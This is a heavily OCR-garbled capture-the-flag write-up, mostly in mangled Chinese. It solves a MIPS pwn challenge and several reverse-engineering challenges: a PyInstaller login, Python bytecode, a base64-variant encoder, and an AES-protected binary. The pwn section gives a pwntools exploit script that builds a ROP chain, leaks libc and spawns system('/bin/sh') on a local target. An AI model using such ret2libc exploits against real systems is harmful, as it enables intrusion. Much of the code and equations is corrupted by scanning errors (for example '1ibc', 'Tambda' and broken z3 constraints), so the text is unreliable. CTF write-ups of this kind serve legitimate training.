.text:00401054 move $a0, $sO
.text:00401058 nop

.text:0040105C jalr $t9

RIEREret2libcAYTE BRI HRIEM: SHRHEE B system(/bin/sh’)
expalF:
from pwn import *

bin_elf = './pwn2’'
context.binary = bin_elf

context.log_level = "debug"

if sys.argv[l] == "r":

p = remote("127.0.0.1",9877)

if sys.argv[l] == "1":

p = process(["gemu-mipsel", "-L", "/home/vlctOr/buildroot/output/target",
bin_el1f])

if sys.argv[l] == "d":

p = process(["qgemu-mipsel", "-g", "1234", "-L",

"/home/v1ctOr/buildroot/output/target", bin_elf])

elf = ELF(bin_elf)
1ibc = ELF("./1ibc.so0.0")

sl = lambda s p.sendline(s)
sd = lambda s p.send(s)
rc = lambda n p.recv(n)
ru = lambda s p.recvuntil(s)
ti = Tambda : p.interactive()

def debug(addr,PIE=True):

if PIE:

text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()
[1], 16)

gdb.attach(p,'b *{}'.format(hex(text_base+addr)))

else:

gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(index,size):
ru("your choice: ")



s1('1")

ru("Give me a block 1ID: ™)
s1(str(index))

ru("how big: ™)
s1(str(size))

def free(index):

ru("Your choice: ")
s1('3")

ru("which one to throw?")
s1(str(index))

def show(index):

ru("yYour choice: ")
s1('2")

ru("which book do you want to show?™)
s1(str(index))

def edit(index,content):
ru("your choice: ")
s1('4")

ru("which book to write?")
s1(str(index))
ru("Content: ")
s1(content)

ru("warrior,leave your name here:")
s1('king")

ru("your choice: ")

s1C'7")

j_ras3s2s1s0 = 0x00400798
m_a0_s0_t9_s2 = 0x000401040

read_got = elf.got["read"]
puts_plt = 0x00400FB4
py = "'

py += 'a'*0x38

py += 'bbbb'

py += p32(j_ras3s2s1s0)

py += 'c'*0x1lc

py += p32(read_got)#s0

py += p32(0)#s1

py += p32(puts_plt)#s2

py += p32(0)#s3

py += p32(m_a0_s0_t9_s2)#ra
ru("write down your feeling:")
s1(py)

rc(1)

read_addr = u32(rc(4))

Tibc_base =read_addr - 1ibc.sym["read"]
print "libc_base--->"+hex(1libc_base)
system = libc_base + 1libc.sym["system"]
binsh

py
py
py
py
py
py

+=

= libc_base + Tibc.search("/bin/sh\x00").next()

'a'*0x38

"bbbb'
p32(j_ras3s2s1s0)
'c'*0x1lc
p32(binsh)#s0



py += p32(0)#s1
py += p32(system)#s2
py += p32(0)#s3

py += p32(m_a0_s0_t9_s2)#ra

s1(py)

p.interactive()

RE
login

1) Hpython pyinstxtractor.py login.exe@<$5%!login.exe_extracted {432

2) HEISUEERMlogin3Z{F, FB010editord]FF, IEApyc U=,

3) TE&RImIFpycE: https://tool.lu/pyc/

4) Z3E+HEREE, HIEASEflag

import hashlib

from z3 import *

s = Solver()

al = Int('al")
a2 = Int('a2")
a3 = Int('a3")
a4 = Int('a4')
a5 = Int('a5")
a6 = Int('ab')
a7 = Int('a7')
a8 = Int('a8")
a9 = Int('a9")
al0 = Int('al0")
all = Int('all")
al2 = Int('al2")
al3 = Int('al3")
ald = Int('ald")

s.add(al*88 + a2*67 + a3*65 - a4*5 + a5%43 + a6 * 89 + a7%*25+
al0*15 + all*11l + al2*47 - al3*60 + al4*29 == 22748)
s.add(al*89 + a2*7 + a3*12 - a4*25 + a5*4l + a6 * 23 + a7*20 -
+al0*8 + all*2 - al2*41 - al3*39 + al4*17== 7258)

s.add(al*28 + a2*35 + a3*16 - a4*65 + a5*53 + a6 * 39 + a7*27+
+al0*13 + all*101 + al2*90 - al3*34 + ald*23 == 26190)
s.add(al*23 + a2*34 + a3*35 - a4*59 + a5*

+al0*75 + all*81 + al2*47 -
s.add(al*38 + a2*97 + a3*35
+al0*57 + all*81 + al2*42 -
s.add(al*22 + a2*27 + a3*35
+a10*35 + all*41 + al2*40 -
s.add(al*12 + a2*45 + a3*35
+al0*34 + all*76 + al2*43 -
s.add(al*79 + a2%*62 + a3*35
+a10*25 + all*11 + al2*57 -

al3*e60 + al4*
- a4*52 + a5*
al3*62 - al4x
- a4*45 + a5*
al3*6l + al4*
- a4*9 - ab5*4
al3*44 + al4*
- a4*85 + ab5*

al3*50 - al4*

49 + a6 * 81 + a7*25+

29== 37136)
42 + ab * 79 + a7*90+
11 == 27915)
47 + a6 * 49 + a7%29+
28 == 17298)
2 + a6 * 86 + a7*23+
65 == 19875)

33 + a6 * 79 + a7*86+
9 == 22784)

HBEBFIpycSUEF

a8*13- a9*36 +

a8*66 + a9+*31

a8*15- a9+*33

a8*128- a9*32

a8*%23- a9*36

a8*18- a9*26

a8*85- a9*47

a8*14- a9+*30


af://n430
af://n431
https://tool.lu/pyc/

s.add(al*8 + a2*6 + a3*64 - a4*85 + a5*73 + a6 * 29 + a7*2+ a8*23- a9*36 +al0*5
+ all*2 + al2*47 - al3*64 + ald*27 == 9710)

s.add(al*67 - a2*68 + a3*68 - a4*51 - a5%43 + a6 * 81 + a7*22- a8*%12- a9+*38
+al0*75 + all*41 + al2*27 - al3*52 + al4*31 == 13376)

s.add(al*85 + a2*63 + a3*5 - a4*51 + a5*44 + a6 * 36 + a7*28+ a8*15- a9*6
+al0*45 + all*31 + al2*7 - al3*67 + al4*78 == 24065)

s.add(al*47 + a2*64 + a3*66 - a4*5 + a5*43 + a6 * 112 + a7*25+ a8*13- a9*35
+a10*%95 + all*21 + al2*43 - al3*61 + al4*20 == 27687)

s.add(al*89 + a2*67 + a3*85 - a4*25 + a5%*49 + a6 * 89 + a7*23+ a8*56- a9*92
+al0*14 + all*89 + al2*47 - al3*6l - ald*29 == 29250)

s.add(al*95 + a2*34 + a3%*62 - a4*9 - a5%43 + a6 * 83 + a7%*25+ a8%12- a9*36
+al10*16 + all*51 + al2*47 - al3*60 - ald4*24 == 15317)

if s.check() == sat:
result = s.model()

print(result)

a6 = 43,
a9 = 52,
al4 33,
a5 = 104,
alz 74,
a7 = 28,
al = 119,
al0d = 108,
all = 88,
a8 = 91,
a4 =7,
a3 = 10]

code [10,24,119,7,104,43,28,91,108,52,88,74,88,33]
_F‘Iag = nn

for i in range(13,0,-1):
code[i-1] = code[i]Acode[i-1]
flag += chr(code[i-1])

flag = flag[::-1]
flag += chr(33)

#print(flag)
printChashlib.md5(str(flag).encode()) .hexdigest())

bytecode

EISAIA T EE en #4870 output #5148
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LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
BUILD LIST
STORE_NAME

o0V A, WwWNEREO®

LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD CONST

T S e
OV B NWNREOWOUNNO

=
A

(Y
00

B flag, FoMNESHITINE. $—2F, flag 78E<38 i, BUEHER.



7 108
to-GWHT2020")
111
112

113
116

LOAD_CONST

PRINT_ITEM
PRINT_NEWLINE

LOAD_NAME
LOAD_CONST

input-your-flag:')

119
122

125
128

131
134
137
140

143
146
149
152

155

CALL_FUNCTION
STORE_NAME

LOAD_NAME
STORE_NAME

LOAD_NAME
LOAD_NAME
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_CONST
COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_CONST

$F, 14E flag RIRAMEEHREMN LR, B
((((flag[012020+flag[ 1])2020+flag[2])2020+flag[3])2020+flag[4])== 1182843538814603 E A ENIE

HiER.

(raw_input)
('please

(flag)

3-(flag)

(str)

(1len)
(str)

(a)
€)

(<)




196 - LOAD_ CONST

199 -BINARY_SUBSCR
200 - CALL_FUNCTION
203 -BINARY_ADD

204 - LOAD_CONST

207 -BINARY_MULTIPLY
208 - LOAD_NAME

211 - LOAD_NAME

214 -LOAD_CONST

217 -BINARY_SUBSCR
218-CALL_FUNCTION
221 -BINARY_ADD

222 - LOAD_CONST
225-BINARY_MULTIPLY
226 -LOAD_NAME

229 -LOAD_NAME

232 - LOAD_CONST
235-BINARY_SUBSCR
236-CALL_FUNCTION
239-BINARY_ADD

240 - LOAD_CONST
(1182843538814603)
243 - COMPARE_OP 2
246 -POP_JUMP_IF_ FALSE 257

18 249 - LOAD_CONST 35
('good!continue\xe2\x8®\xa6\xej\x86\xa6')

FE=, X flag 5 6 RIS 31 ALHTINZ, FHEI x #EY, HARRES x 5 output Z2H R, &
AENEHER.



399 - LOAD_NAME
402 -CALL_FUNCTION
405 -POP_TOP

406 - LOAD_NAME

409 - LOAD_ATTR

412 - LOAD_NAME
415-CALL_FUNCTION
418 -POP_TOP

419 - LOAD_NAME

422 - LOAD_CONST
425-INPLACE_ADD
426 - STORE_NAME
429 - JUMP_ABSOLUTE
432 -POP_BLOCK

433 -LOAD_NAME
436-LOAD NAME

439 - COMPARE_OP

442 -POP_JUMP_IF_FALSE

34 445 - LOAD_CONST 38
('good!continue\xe2\x80\xa6\xe2\x80\xa6")
448 -PRINT_ITEM
449 -PRINT_NEWLINE

FIUE, 39 flag BIEIEEE —(EIRIEEECAIR/NETSETUHTLSRF T, FTLAR 23 3KkAE.



POP_JUMP_IF FALSE

LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
LOAD NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD

LOAD NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_CONST

COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_CONST
COMPARE OP

#flag="GWHT{cfa2b87b3f746a8f0ac5c5963faeff73}"
#—H 5y

flagl=""

end=1182843538814603

for i in range(5):

c=end%2020

end=(end-c) /2020

flagl+=chr(int(c))

print (flagl[::-1])

#5650

en=[0x3,0x25,0x48,0x9,0x6,0x84]

output=[101, 96, 23, 68, 112, 42, 107, 62, 96, 53, 176, 179, 98, 53, 67, 29, 41,
120, 60, 106, 51, 101, 178, 189, 101, 48]

k=0

flag2=""

for i in range(13):

al=chr(output[k]Aen[i1%6])



a2=chr(output[k+1]Aen[i%6])
flag2+=a2

flag2+=al

k+=2

print(flag2)

#EH =54y

from z3 import *

flag3=""

flag = [Int('flagkd' % i) for i in range(8)]

s = Solver()

s.add(flag[0]*3 + flag[1]*2 + flag[2]*5 == 1003)
s.add(flag[0]*4 + flag[1]*7 + flag[2]*9== 2013)
s.add(fTag[0] + flag[1]*8 + flag[2]*2 == 1109)
s.add(flag[3]*3 + flag[4]*2 + flag[5]*5 == 671)
s.add(flag[3]*4 + flag[4]1*7 + flag[5]%9== 1252)
s.add(fTag[3] + flag[4]*8 + flag[5]*2 == 644)

print(s.check())
model = s.model()
res = [ model[flag[i]l]l.as_Tong() for i 1in range(6) ]

for i in res:

flag3+=chr(i)
print (flag3)

easyre

lint __cdec] mein{int arge, const char ®farge, const char ®fenup)

2

3 inl wl; I oeax

4 imt wd; S eax

5 imt wh; .-'l max

6 imt result; S eax

7 char 5tr; /F [rspe2@h]| [rbp 68h]
H  char Strl; FF [re ah] [rbp-3ah]
0 char w8; ff |rspeBidh] [rbpslh]
18 char v18; ff [ropsigh] [rbp+sah]
11 char 5tr2[8]; #F [rsp+118h] [rbp+9@h]
12 imt w12; fF [rspe1ach] [rbp+CCh]

mainil;

15 strepy{Sted, “EmBaP 5PancPUSEL Yy SIeMmB SPRHC PSP 3=c 1B kkPekare]" ) -

16 puts("Hello, please input wour flag and I will tell wou whether it is right or not.");
17 scanf{"¥38s", Esir);

18 il { strlen{fStr) == 38

19 &% v = strlen(&50e), {unsipned il dencodes_one{&s1r, w1, &vla, &12) == 8)
26 BE (vi = strleni{Bv18), {unsigned int)encode_twof{bvio, va, Bed, Bvli) == @)
21 % (v5 = strlen(®e®), (unsigned intlencode three(&es, o5, &5trl, &012) == @)
&2 B& letremp(Botrl, “trdd )

23 |

24 puts{"you are right!™};

25 result = @;

R}

2} else

2

2 printf("Sonething wrong. Keep going.");

30 result = @5

31 }

32 return result;
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[EERIEEPIEE AWM, BFEEMmA38IcharBl¥iEd EiHiT=EIN%encode_one, encode_two,
encode_threeA/EXLEIEFEEFHAYEGE, MRERNEY, SNHAET

O 1bs Yigw-a 1% Fesudecwern E [E  Hex Yiaw-1 Ml ==
Tl oamt v9; fF [ruprldh)] [ rhp-ldh)
6| char *v18; ff [rup+2Bh] [rbp-168h]
9| dimt w11: S [rsp+d8h] [rbe-3h]
wl imt i; /F [rsprach] [rbp-4h]
11| unsigned  inth *w13; /7 [rsp+suh] Trbpszeh]
12| imt wld; FF Trspes2h] [rbpe2sh]
13| int *15; §fF [rspi38h] [rbpi3sh]
14
15 w13 = (unsigned _ int® *)al;
16 wid = a2;
17l wl5 = ad;
18 &F f lal || ez )
19 return BxFFFFFFFFIRG
29 w1l = @3
BN T ER
2 vil = 3 - a2 B 3
23| v = a2« wil;
M pwE =B * (aF + w1} [ 6;
25 wid = a3;
W for L =8; L€ wd; 1+=13)
T
i1 k12 = alphabet[(char)*vll »» 2];
L if § vld + w1l - 3 == 1 &% w11}
El i
3l ir ¢ vil =11
32 [
33 v = {charjcmowr_bits(*v13, 6, 2);
kL wIA|1] = alphabet |5 + (charjrmove_bits{s1301], @, 4¥];
15 wIA[2] = alphabel[{char jenove_Bits(013[1]), 4, 21];
15 w1B[3] - &1;
r T
i else if { w11 == 2}
E) i
A w1d[1] = alphabet[{cha~)omove bits(*wid, &, 21;
41 win[2] = &1;
A2 i3] - 6l;

SETECILEA U7 Heas e ues OF S Lala ot

TAMT R E

B Aencode_one, BiBITMXIEURKERIANIE (*8/6) , B=I4hIRISALIUNI, SAIFETLAEFlalphabet
eSS AR

| BEBABREDABAASASE ; BYTE alphabet[6d]

.rdata

.rdata

-rdata:
Lridatias
.rdata:

rdata:

.riata:
rdata:
_rdata:

BOSHARAREAAA5H8E

_Zl8alphabet

db AT,

P
BEBARBABIRIASAEE ; DATA X
GO2000000a405080 ; encode
HRRHOROeHRIaSHEE db "L, "W, WY, oY, TR, QY.
: JOBOORORIBAASOSE db "W, x', ‘v, 'Z', ‘a', b,
BOBAORABARAATAER db "h*, "i', "5, k', "1', 'm",
AACABRADAGAASAEE db "5, &', 'uw', "v', 'w', "x',
BABAORARIALASHRA db "3°, "4", %7, &, "7, "B,
[E IO T e—il |:| II Peeudeceds—4 H .ﬁ Hex Tiee—1 3 II Structuro:
' 1| int64 _ fastcall encode_two{comst char ®al, imt a2, char ®a3, int *ad)
2({
3| char *Source; [/ [rep+dBh] [rbp+18h ]
4| char *&; ff [rsp+radh] [rbpeddh]
5
6l Source = {char *}al:
F| wbh = a3;
BAF o lal || tar )
9 return @xFFFFFFFFL1G4;
189 strencpy{at, al + 26, BxDuind);
11| strncpy{vd + 13, Scurce, @xDuidd);
12 strencpy{vh + 26, Source + 39, Bxlluigd);
13| strncpy{vd + 39, Scurce + 13, @xDuiéd);
14, return @iGd;
15}

#HAZFlencode_two, HTFbase64iB38charBisq4BNNEZEL T 52 charBYsiE
XEBXIE52{57charBULA1 3 —ER TN Al 7 4ER
SRR ARRBIT strncpy RREH 1T 7 =T HER

1-11-

2-2 2-

3-3 3-

3
1

4



4-44-2

char vi; Jf

t i; M
char *w7; J#
const char *vB; /1

iF { lat |] Vai )
return OxFFFFFFFF 36485

for - 8; L

{

iF { "0 «= &4 | = )

if { = o || » 132 )
{
if [ vS o= A7 | » 57 )
5,7 e
else
ful o= - @ o 1) K 18+ '@
else
[
"7 = "a" v 3) K26+ A

.;Iw
{
o BT ow 3) K36 o+ AT

iyl
il

)

return BL6E;

1

CODOOPEC T 2encwds thresf Lol PaPlaZ (8019600

#Nencode_three BAIIATLABRIX 2 BAIHIUHERS, (RBEN3, FNIMRAFHBEENIEALE
Y

PRSI B GAM TALERT .

1) BIEL L=, BREFEEFRRIE
EmBmMP5PMN7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG

ERAPBATSE S TR R FHRFRE RS, BI1S2flag
Flag 9 GWHT{672cc4778a38e80cb362987341133ea2}

#include <stdio.h>
#include <string.h>

const char ciphertext[] =
{"EmBmP5PmMN7QcPU4gLYKv5QcMmB3PWHCP5YkPq3=cT6QckkPckoRG"} ;

const unsigned char base64_suffix_map[256] = {

255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,



255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
235, 8B5S, 255, 255 §3

char cmove_bits(unsigned char src, unsigned Tnum, unsigned rnum)
{

src <<= Inum;

src >>= rnum;

return src;

3

int decode_one(const char *indata, int inlen, char *outdata, int *outlen)
{

int ret = 0;

if(indata == NULL || inlen <= 0 || outdata == NULL || outlen == NULL)

{

return ret = -1;

}

if(inlen % 4 !'= 0)

{

return ret

}

Il
1
N

intt=0, x=0, y-=
unsigned char c = 0;
int g = 3;

0, i = 0;

while(indata[x] != 0)

{

Cc = base64_suffix_map[indata[x++]];
if(c == 255) return -1;

if(c == 253) continue;

if(c == 254)

t=(t <<6) | c;

if(++y == 4)

{

outdata[i++] = (unsigned char)((t >> 16) & Oxff);

if(g > 1) outdatal[i++] (unsigned char) ((t >> 8) & Oxff);
if(g > 2) outdatali++] (unsigned char) (t & Oxff);
y=1t=0;

}

}

if(outlen != NULL)
{

*outlen = 1i;

}

return ret;

}

int decode_two(const char *indata, int inlen, char *outdata, int *outlen)

{



int ret = 0;

if(indata == NULL || inlen == 0)
{

return ret = -1;

}

/ *

1-1 1-3

2-2 2-1

3-3 3-4

4-4 4-2

&

char *p = outdata;
strncpy(p+26,indata,13);
strncpy(p,indata+13,13);
strncpy(p+39,indata+26,13);
strncpy(p+13,indata+39,13);

return ret;

}

int decode_three(const char *indata, int inlen,

{

int ret = 0;

if(indata == NULL || inlen == 0)
{

return ret = -1;

3

char *p = outdata;
for(int i = 0; i < inlen; i ++)
{

char c = *indata;

if(c >= 'A" & c <= 'Z2") *
else if(c >= 'a' && c <=
else if(c >= '0' && c <= "'

else *p = c;

c - 'A"Y) + 23

p ++;
indata ++;

}

return ret;

}

int main(int argc, char** argv)
{

char flagl[52];

char flag2[52];

char flag[38];

int L;

char *outdata, int *outlen)

% 26 + 'A';

(
p=(c-"a") +23) %26+ 'a";
p=C(Cc-"0"Y+7) %10+ '0'";

decode_three(ciphertext, strlen(ciphertext), flagl, &L);

decode_two(flagl, strlen(flagl), flag2, &L);
decode_one(flag2, strlen(flag2), flag, &L);
printf(flagl);
printf("\n");
printf(flag2);
printf("\n");



printf(flag);
return 0;

babyre

—. babyre

XA EEE MNERNr A8 L ITEs_boxAEBRIsmIIZHNEEE, st&dJdumpRE, AEH Tpatchig
{ERIANARE E SLAYjudgein=nZis:


af://n482

s_box =
[0x83,0x24,0x84,0xcf,0x6c,0x8f,0%x35,0x80,0x62,0xe6,0x3b,0x0c,0xc4,0x7c,0xad,0x
1b,0xbe,0xbc,0x75,0x01,0%x91,0x56,0xf5,0xb8,0x03,0xc9,0xcd,0xa8,0x85,0x56,0xdc,
Oxbb,0x5a,0xd4,0x52,0x09,0xd5,0xeb,0x8b,0x3c,0x24,0xfa,0xda,0x42,0x68,0xb4,0xf
9,0x42,0x8a,0xd0,0x13,0x52,0xe4,0x87,0xf3,0x09,0xc2,0xcd,0x7e,0x17,0x53,0x72,0
xfc,0x1b,0x53,0x99,0x77,0x86,0x10,0x7b,0x61,0x44,0x94,0xc2,0x00,0x5d,0x18,0x00
,0xa9,0xb0,0x38,0xc5,0x12,0x51,0x2d,0xd5,0xa4,0x5e,0x3b,0xae,0xba,0x74,0x17,0x
fa,0xc0,0xb4,0xad,0x38,0xd2,0xa2,0xf4,0x0e,0x5e,0xf9,0x2a,0x27,0x23,0x80,0x28,
0x86,0x46,0x80,0x04,0x7d,0xb9,0xb6,0xb5,0x42,0xel,0x38,0x3c,0x99,0xb4,0x14,0xe
3,0xb9,0x8e,0x29,0x2c,0x97,0x5c,0x07,0xb9,0xb1l,0xda,0xf6,0x3d,0x60,0x43,0x49,0
x67,0x04,0%x32,0xb5,0x65,0x4e,0x7f,0xad,0xd4,0xf5,0x29,0x49,0x2e,0x83,0x6a,0x93
,0x99,0x10,0xf8,0%x96,0xa9,0xdf,0x7d,0xb6,0x1a,0x75,0x7a,0xdc,0xb5,0xec,0xf4,0x
64,0x8e,0x09,0xf3,0xef,0x69,0x04,0x48,0xf5,0x35,0x98,0x61,0x0f,0x9b,0xe9,0xb8,
0x24,0x57,0xcd,Oxac,0xe5,0x1le,0x63,0x7d,0x6e,0x08,0x98,0xf2,0x55,0x78,0x57,0x0
c,0xf7,0xac,0x38,0x44,0xfb,0xb7,0x37,0x9e,0x0d,0x5f,0x0c,0xfc,0xc7,0x3d,0xfb,0
xf6,0xb4,0xca,0x6a,0xac,0x8c,0xc0,0x48,0xe8,0x9c,0x6e,0x2c,0xa7,0xc2,0x96,0x58
,0x6b,0x67,0x34,0xa7,0x2e,0x6f,0xfa,0x7c,0x0a,0x33,0x45,0x05,0xca,0x6f,0x4d,0x
9f,0x90,0xc6,0xal,0xbf,0xc9,0x21,0x68,0x88,0xed,O0xce,0xc9,0xf5,0x5b,0xf6,0x1a,
Oxce,0x4a,0x0e,0xce,0xba,0x6f,0x32,0x65,0x25,0xc5,0x07,0xbe,0x4b,0xd5,0x96,0xc
d,0x7e,0x51,0x99,0x6b,0xd0,0xdb,0x7f,0xf8,0x3b,0xf8,0x18,0x57,0xf3,0xa9,0xf6,0
xle,0x1c,0x4a,0xbb,0x15,0xc5,0xc5,0xcd,0x4b,0xe8,0xe7,0xa7,0x18,0x43,0x8e,0xb4
,0x2e,0x6a,0xa7,0x72,0x4c,0x84,0xc0,0xaf,0x4b,0x41,0x58,0%x96,0x5c,0x48,0xa7,0x
d3,0x9a,0x03,0x16,0x4f,0x74,0x2a,0x59,0x7f,0xf4,0x6d,0xa6,0xcd,0xcd,0x93,0xbc,
Oxe4,0xbf,0x03,0xfb,0xd6,0xc3,0xf4,0x35,0xac,0xad,0x40,0xd0,0x3e,0xd7,0xa5,0x5
0,0x71,0x0f,0x6a,0x20,0xa5,0xf0,0xa0,0x34,0x27,0x20,0x0f,0x34,0x60,0x37,0xb2,0
x0e,0x0a,0x76,0xfd,0xd4,0x93,0x4d,0xb6,0xb9,0x4e,0xad,0x98,0x9%e,0xd9,0x25,0x65
,0x20,0x40,0x01,0xal,0xc9,0xf4,0x11,0xa9,0x9c,0xe7,0x40,0x9a,0xfa,0x5c,0xac,0x
72,0x2e,0x0b,0xf7,0x2a,0xd4,0x29,0x00,0x05,0xed,0x35,0xe3,0xbc,0xc5,0xa8,0x37,
0x79,0xa7,0x17,0xbc,0xe7,0x36,0x9%a,0x4e,0xa7,0x37,0xeb,0x6a,0xa8,0x19,0x81,0x9
0,0xc0,0x65,0x58,0x74,0xcl,0xle,0x86,0x81,0x10,0xf3,0x99,0xb1l,0x34,0x4c,0x5e,0
x10,0xc9,0x92,0x7e,0x61,0x8e,0x9%e,0xb4,0x12,0x7b,0x70,0xab,0x20,0xba,0xaf,0x4c
,0xba,0x2c,0x67,0x87,0x98,0xe0,0x87,0x0f,0x8e,0x4e,0x12,0x85,0xb7,0x17,0x98,0x
4b,0xa4,0x53,0x2e,0x4f,0xb2,0x44,0x5d,0xed,0Oxde,0x1d,0xd7,0x3e,0x79,0xca,0xd3,
0x06,0xed, 0xdb,0x82,0xf8,0x70,0x62,0xc8,0xdb,0x16,0xca,0xcd,Oxee,0x7b,0x6a,0x9
5,0xcd,0xc3,0x9b,0x1c,0xal,0x47,0xa7,0x79,0x7a,0x46,0x9f,0x85,0x89,0x74,0xf7,0
x9c,0x86,0xd5,0xcf,0x57,0xfa,0xf7,0xe8,0x57,0xe7,0x2f,0xd9,0x6f,0x3c,0xca,0x13
,0xd0,0xb6,0xa4,0xb9,0x9a,0xb4,0x25,0x87,0xeb,0xa2,0x3e,0xf0,0x12,0xel,0x42,0x
6e,0x2b,0x76,0x3e,0x24,0xbe,0xbd,0x03,0x5e,0xb6,0x61]

n = (0x000000000402969-0x00000000040272D) for i in range(n):
PatchByte(0x00000000040272D+i, Byte(0x00000000040272D+i) A s_box[i])

BHUEENSERRCREEE. —. itHRaesiZENkey BEEGEGEHERFARF, 5190808

BFkey

= NRE—SHITIEN, EERIB0ZAEMR, RE—HERHERNllag, RAH—SHEEIMERR
8, MimSElaesiIZENE, HiT2ERaesif Hiflag:

# -*- coding: utf-8 -*-

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from binascii import *

import hashlib

import 1ibnum

from Crypto.Util.number import

*



enc = [189, 173, 180, 132, 16, 99, 179, 225, 198, 132, 45, 111, 186, 136, 116,
196, 144, 50, 234, 46, 198, 40, 101, 112, 201, 117, 120, 160, 11, 159, 166]

for j in range(256):

a = [j]

for i in range(31):

a.append(((enc[i] A ((a[i]lA0x13)*2+7))-(a[i]1%9)-2)&0xff)

# s = "".join(map(chr,a))

if a[31]==0xc4:

print(a)

#fitflag

flag =
[0x4d,0x77,0x5e,0x0f,0xb3,0x4d,0x99,0xa6,0x8a,0xfa,0x54,0xb3,0x1le,0x96,0x91,0x7c
,0x18,0x85,0xf8,0x30,0x5e,0x61,0xba,0x34,0x1c,0xe9,0x84,0x45,0x0b,0x38,0xbe,0xc4
]

for i in xrange(len(flag)-1,-1,-1):

for j in xrange(i//4-1,-1,-1):

flag[i]lA=fTag[j]

print flag

flag = [77, 119, 94, 15, 254, 0, 212, 235, 176, 192, 110, 137, 122, 242, 245, 24,
115, 238, 147, 91, 134, 185, 98, 236, 137, 124, 17, 208, 7, 52, 178, 200]

cl b'\x4d\x77\x5e\x0f\xfe\x00\xd4\xeb\xb0\xc0\x6e\x89\x7a\xf2\xf5\x18"
c2 = b'\x73\xee\x93\x5b\x86\xb9\x62\xec\x89\x7c\x11\xd0\x07\x34\xb2\xc8"

des_crypto = b'\x0a\xf4\xee\xc8\x42\x8a\x9b\xdb\xa2\x26\x6f\xee\xee\xe0\xd8\xa2"
#I OO 2 NAE, AR N0k 5 Akey=thls1sth3nlc3k3y

aes_key = b"thlslsth3nlc3k3y"

def aes_decrypt(cipher, key=aes_key):

aes = AES.new(key,mode=AES.MODE_ECB)

return aes.decrypt(cipher)

print aes_decrypt(cl)+aes_decrypt(c2)

#GWHT{thls_gam3_1s_s0_c001_and_d}
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